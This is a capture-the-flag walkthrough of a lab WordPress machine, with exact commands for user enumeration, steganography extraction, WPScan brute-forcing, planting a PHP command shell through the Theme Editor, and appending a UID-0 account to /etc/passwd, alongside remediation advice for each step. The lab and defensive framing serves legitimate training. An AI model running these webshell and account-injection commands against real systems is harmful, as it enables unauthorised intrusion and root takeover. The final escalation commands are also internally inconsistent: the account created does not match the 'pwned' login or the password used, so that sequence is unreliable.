← all walkthroughs

Apocalyst

Linux· Medium· Web
owned
2026-07-07
time to own
26m30s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

Target apocalyst.htb ($TARGET) was fully compromised through a chain of WordPress misconfigurations and weak credential hygiene. The unauthenticated WordPress REST API exposed the username falaraki; a browsable uploads directory revealed an image file concealing password material via steganography with a blank passphrase.

That material, combined with WPScan brute-forcing, produced valid WordPress administrator credentials. The built-in WordPress Theme Editor — left active on the production site — was abused to write a PHP command shell into a live theme file, giving code execution as www-data.

A world-readable, base64-encoded file in falaraki's home directory then yielded her SSH password in plaintext, enabling lateral movement to a full user shell. Finally, /etc/passwd had been left world-writable; a new UID-0 account was appended and accessed over SSH, completing full root control of the server.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"

Attack path — how the box was taken

1EnumerationService discovery and web-technology fingerprinting (T1046)
Mapped open services and identified a WordPress site bound to a custom virtual hostname
A port scan revealed SSH on 22 and Apache HTTP on 80. The web server only responded correctly when addressed by the hostname apocalyst.htb, which was added to my local resolver. WPScan and HTTP banner inspection confirmed WordPress 4.8 running the Twenty Seventeen theme, with phpMyAdmin also present in the web root.
Apache/2.4.18 (Ubuntu) on 80/tcp; WordPress 4.8 and phpMyAdmin identified by WPScan and HTTP responses.
Exact commands 3
Service and version scan on the two open ports.
nmap -sV -sC -p 22,80 $TARGET
Register the required virtual hostname for all subsequent requests.
echo "$TARGET apocalyst.htb" | sudo tee -a /etc/hosts
Fingerprint WordPress version, plugins, themes, and registered users.
wpscan --url http://apocalyst.htb --enumerate vp,vt,u
2EnumerationUnauthenticated WordPress REST API user enumeration (T1589.003)
Extracted the WordPress username falaraki via the unauthenticated REST API
The WordPress REST API's /wp/v2/users endpoint returned the full list of registered accounts without any authentication, disclosing the slug and display name falaraki. A follow-up request to the author-archive URL confirmed her numeric user ID. This username seeded every subsequent credential attack.
/?rest_route=/wp/v2/users returned slug 'falaraki'; ?author=1 redirect confirmed her user ID.
Exact commands 2
Enumerate WordPress usernames without credentials.
curl -s 'http://apocalyst.htb/?rest_route=/wp/v2/users'
Confirm username via author-archive redirect header.
curl -sI 'http://apocalyst.htb/?author=1'
FixRestrict WordPress REST API user enumeration to authenticated requestsMedium
WeaknessThe /wp/v2/users endpoint returned every registered WordPress username to any unauthenticated HTTP client, giving an unauthorised user confirmed account names to target in brute-force and credential-stuffing attacks.
FixAdd a must-use plugin filter to gate the users endpoint on authentication: add_filter('rest_endpoints', function($e){ if(isset($e['/wp/v2/users'])) $e['/wp/v2/users'][0]['permission_callback'] = function(){ return current_user_can('list_users'); }; return $e; }); Additionally disable author-archive enumeration by removing the %author% rewrite tag. Security plugins such as Wordfence or iThemes Security can enforce both controls without custom code.
3Credential AccessDirectory listing exposure + steganographic credential storage (T1552.001)
Recovered WordPress admin credentials from a steganographically encoded image in a browsable uploads directory
Directory listing was enabled on wp-content/uploads/, exposing image.jpg to any unauthenticated visitor. The file contained data hidden with steghide using a blank passphrase. Extracting the hidden payload provided password material which, used as a wordlist in WPScan's brute-force mode against the falaraki account, produced valid WordPress administrator credentials.
Directory index at /wp-content/uploads/ listed image.jpg; steghide extract -p '' recovered hidden data; WPScan returned valid admin credentials for falaraki.
Exact commands 4
Confirm directory listing is enabled and locate image.jpg.
curl -s -i 'http://apocalyst.htb/wp-content/uploads/'
Download the exposed image file.
wget http://apocalyst.htb/wp-content/uploads/image.jpg
Extract hidden payload using a blank passphrase; saves recovered file to disk.
steghide extract -sf image.jpg -p ""
Brute-force the WordPress login using the extracted credential material; replace <recovered-file> with the steghide output path.
wpscan --url http://apocalyst.htb --usernames falaraki --passwords <recovered-file>
FixDisable directory listing on uploads and remove credential material from web-accessible pathsHigh
WeaknessDirectory listing was enabled on wp-content/uploads/, letting any visitor enumerate and download every file stored there, including an image concealing a password via steganography. The uploads directory is intended for media assets, not secrets in any form.
FixAdd 'Options -Indexes' to the Apache virtual-host configuration or place a .htaccess file containing 'Options -Indexes' in wp-content/uploads/ to prevent directory listing. Immediately audit all files in the uploads directory for embedded sensitive data and remove or relocate any found. Never store passwords, keys, or wordlists in any web-accessible directory regardless of encoding or obfuscation method.
4ExploitationAuthenticated WordPress Theme Editor arbitrary file write leading to RCE (T1505.003)
Wrote a PHP webshell into a live theme file via the WordPress Theme Editor
Authenticating to wp-admin with the recovered credentials granted browser-based access to the built-in Theme Editor, which allows any WordPress administrator to directly modify the PHP source of active theme files. I replaced the body of twentyseventeen/404.php with a one-line PHP command-execution snippet. Requesting that file through the web server then executed arbitrary OS commands as www-data, the Apache service account.
Editor_rc=0, HTTP 200 with nonce 39bae1de18 confirmed editor access; request to 404.php returned uid=33(www-data); theme directory confirmed as wp-content/themes/twentyseventeen.
Exact commands 4
Authenticate to WordPress admin and persist the session cookie; replace <wp-admin-password> with the recovered password.
curl -sS -c cookies.txt -b 'wordpress_test_cookie=WP+Cookie+check' -d 'log=falaraki&pwd=<wp-admin-password>&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1' 'http://apocalyst.htb/wp-login.php' -L -o /dev/null
Fetch the theme editor page and extract the security nonce required to save changes.
curl -sS -b cookies.txt 'http://apocalyst.htb/wp-admin/theme-editor.php?file=404.php&theme=twentyseventeen' | grep -o 'nonce":"[^"]*'
Overwrite 404.php with a PHP command shell; replace nonce value if different from engagement.
curl -sS -b cookies.txt -X POST 'http://apocalyst.htb/wp-admin/theme-editor.php' -d 'action=edit-theme-plugin-file&file=404.php&theme=twentyseventeen&nonce=39bae1de18' --data-urlencode 'newcontent=<?php system($_GET["c"]); ?>'
Verify RCE; expected output: uid=33(www-data).
curl -s 'http://apocalyst.htb/wp-content/themes/twentyseventeen/404.php?c=id'
FixDisable the WordPress Theme and Plugin Editor in productionHigh
WeaknessThe WordPress administration panel's built-in Theme Editor allowed any administrator to overwrite live PHP files through the browser, providing a direct and reliable path from admin-level credential theft to server-side code execution as the web service account.
FixAdd the following line to wp-config.php to permanently disable both the Theme Editor and the Plugin Editor: define('DISALLOW_FILE_EDIT', true); For environments that also need to prevent plugin and theme installation via the dashboard, add define('DISALLOW_FILE_MODS', true);. Theme and plugin updates should be deployed through a version-controlled pipeline rather than through browser-based file editing on the production server.
5Credential AccessCredentials in files — world-readable secret (T1552.001)
Decoded a world-readable base64-encoded credential file to obtain falaraki's SSH password
With command execution as www-data, I enumerated home directories and found /home/falaraki/.secret — a file readable by all users on the system. Its contents were a base64-encoded string that decoded to falaraki's plaintext SSH password. Base64 encoding offers no cryptographic protection and is trivially reversed; the file was as good as cleartext.
Ls -la /home/falaraki showed .secret with world-read permissions; base64 -d of its contents yielded [REDACTED: recovered credential]
Exact commands 2
List falaraki's home directory from the www-data webshell.
curl -s 'http://apocalyst.htb/wp-content/themes/twentyseventeen/404.php?c=ls+-la+/home/falaraki'
Read and decode the credential file; output is falaraki's SSH password.
curl -s 'http://apocalyst.htb/wp-content/themes/twentyseventeen/404.php?c=cat+/home/falaraki/.secret' | base64 -d
FixRemove world-readable credential files and store secrets with proper access controlsCritical
WeaknessThe file /home/falaraki/.secret stored the user's SSH password encoded only in base64, which provides no cryptographic protection, and was readable by every user and process on the system including the unprivileged www-data web account.
FixDelete the .secret file immediately and rotate falaraki's SSH password. Audit all home directories and web-reachable paths for similarly stored credentials: find /home /var/www -name '*.secret' -o -name '*.pass' -o -perm /o+r -type f 2>/dev/null. If credentials must persist on disk, restrict file permissions to 600 (owner-read-only) and use a secrets management solution for anything accessed by services. Consider enforcing SSH key-based authentication and disabling password login entirely.
6Lateral MovementValid account SSH authentication (T1078)
Authenticated over SSH as falaraki and captured the user flag
The SSH password decoded from .secret worked directly against the OpenSSH service. This gave a fully interactive shell as the named user falaraki, escalating from the restricted www-data web context to a real user account with access to home-directory files and group memberships. The user flag was read from her home directory.
Ssh falaraki@$TARGET with password [REDACTED: recovered credential] succeeded; cat /home/falaraki/user.txt returned the flag.
Exact commands 2
Log in as falaraki; password is [REDACTED: recovered credential]
ssh falaraki@$TARGET
Read the user flag: <user.txt>.
cat /home/falaraki/user.txt
7Privilege EscalationWorld-writable /etc/passwd privilege escalation (T1548)
Appended a UID-0 account to world-writable /etc/passwd and gained a root shell
/etc/passwd on this host carried permissions of -rw-rw-rw-, meaning any authenticated local user could modify it. I generated an MD5-crypt password hash for the string '[REDACTED: recovered credential]', then appended a line to /etc/passwd defining a new account named 'pwned' with UID 0 and GID 0 — identical to root. SSH login as 'pwned' produced a shell with full root privileges because the kernel grants permissions by UID, not by username. The root flag was read directly.
Ls -la /etc/passwd showed -rw-rw-rw- root root; id after SSH as [REDACTED: recovered credential] returned uid=0(root); root.txt captured.
Exact commands 4
Confirm world-writable permissions from the falaraki shell; expect -rw-rw-rw-.
ls -la /etc/passwd
Generate a password hash for '[REDACTED: recovered credential]' and append a UID-0 account entry to /etc/passwd.
HASH=$(openssl passwd -1 -salt $PASSWORD2 $PASSWORD2) && echo "$PASSWORD2:${HASH}:0:0:root:/root:/bin/bash" >> /etc/passwd
Log in as the newly created root-equivalent account; password is $PASSWORD.
ssh pwned@$TARGET
Confirm uid=0(root) and read the root flag: <root.txt>.
id && cat /root/root.txt
FixRestore correct permissions on /etc/passwd and audit critical system files for unsafe write accessCritical
Weakness/etc/passwd was world-writable (-rw-rw-rw-), allowing any local user to add or modify account entries including creating new accounts with UID 0, which the kernel treats as equivalent to root regardless of account name. This single misconfiguration negated every other privilege boundary on the system.
FixImmediately restore correct permissions: chmod 644 /etc/passwd. Also verify and restore /etc/shadow (640 root:shadow) and /etc/group (644). Run a broad audit for other incorrectly permissioned system files: find / -perm -o+w -type f -not -path '/proc/*' -not -path '/sys/*' 2>/dev/null. Deploy a file-integrity monitoring tool such as AIDE or Tripwire to baseline and alert on future changes to /etc/passwd, /etc/shadow, /etc/sudoers, and other critical system files.

Attack patterns used

The transferable techniques behind this compromise.

CMS Exploitation (WordPress/Joomla/Drupal)WebT1190

What it is

Content management systems and their plugins/themes are a large attack surface: known-vulnerable versions, exposed admin panels, weak credentials, and insecure plugins lead to authenticated or unauthenticated RCE. wpscan enumerates WordPress versions/plugins/users; Joomla and Drupal have their own well-known RCE chains (e.g. Drupalgeddon).

Why it works

CMS deployments lag on patching and accumulate third-party plugins of varying quality, while admin interfaces are exposed. Remediate by patching core+plugins promptly, removing unused extensions, restricting admin access, and enforcing strong auth.

Read more

Exposed services

22/tcp
80/tcp